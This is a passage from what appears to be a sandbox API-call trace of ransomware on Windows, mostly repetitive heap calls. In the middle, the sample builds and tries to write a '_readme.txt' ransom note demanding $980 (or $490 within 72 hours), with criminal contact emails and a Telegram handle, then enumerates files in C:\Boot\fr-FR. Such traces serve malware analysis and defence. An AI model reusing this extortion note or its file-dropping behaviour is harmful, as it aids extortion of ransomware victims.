(HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.539] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.539] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.539] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.539] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.539] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.539] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.539] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.539] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.540] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.540] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.540] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.540] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.540] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.540] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.540] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.540] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.540] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.540] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.540] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.540] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.540] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.540] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.540] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.540] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.540] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.540] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.540] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.540] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.540] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.540] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.540] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.540] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.540] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.540] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.540] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.540] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.540] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.540] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.540] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.541] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.541] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.541] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.541] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.541] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.541] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.541] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.541] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.541] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.541] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.541] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.541] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.541] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.541] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.541] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.541] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.541] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.541] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.541] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.541] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.541] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.541] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.541] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.541] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.541] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.541] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.541] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.541] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.541] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.541] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.542] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.542] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.542] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.542] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.542] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.542] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.542] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.542] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.542] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.542] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.542] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.542] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.542] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.542] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.542] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.542] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.542] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.542] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.542] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.542] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.542] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.542] PathFindFileNameW (pszPath="C:\\Boot\\fr-FR\\") returned="fr-FR\\" [0124.542] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.542] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.542] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.542] PathFindFileNameW (pszPath="") returned="" [0124.542] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.542] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x768b0000 [0124.543] GetProcAddress (hModule=0x768b0000, lpProcName="SHGetFolderPathW") returned 0x76935708 [0124.543] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x800) returned 0x30f90a8 [0124.543] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x30f90a8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.543] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x810) returned 0x30e8ae0 [0124.543] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.543] FreeLibrary (hLibModule=0x768b0000) returned 1 [0124.543] PathAppendW (in: pszPath="C:\\Boot\\fr-FR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\fr-FR\\_readme.txt") returned 1 [0124.543] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.543] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.543] PathFileExistsW (pszPath="C:\\Boot\\fr-FR\\_readme.txt") returned 0 [0124.545] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x7d00) returned 0x30fa550 [0124.545] lstrcpyW (in: lpString1=0x30fa550, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" [0124.545] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg", lpString2="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" [0124.545] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9bf0 [0124.545] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\_readme.txt" (normalized: "c:\\boot\\fr-fr\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.545] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9bf0 | out: hHeap=0x5c0000) returned 1 [0124.545] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa550 | out: hHeap=0x5c0000) returned 1 [0124.545] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.545] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.545] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.546] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.546] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.546] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0124.546] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0124.546] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.546] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.546] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.546] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.546] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.546] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.546] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.546] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.546] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.546] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.546] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.546] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.546] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.546] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.546] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.546] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.546] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.546] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.547] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.547] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.547] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.547] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.547] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.547] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.547] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.547] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.547] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.547] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.547] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.547] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.547] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.547] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.547] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.547] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.547] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.547] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.547] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.547] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.547] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.547] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.547] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.547] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.547] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.547] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.547] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.547] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.547] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.547] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.547] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.547] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.548] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.548] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.548] RtlAllocateHeap 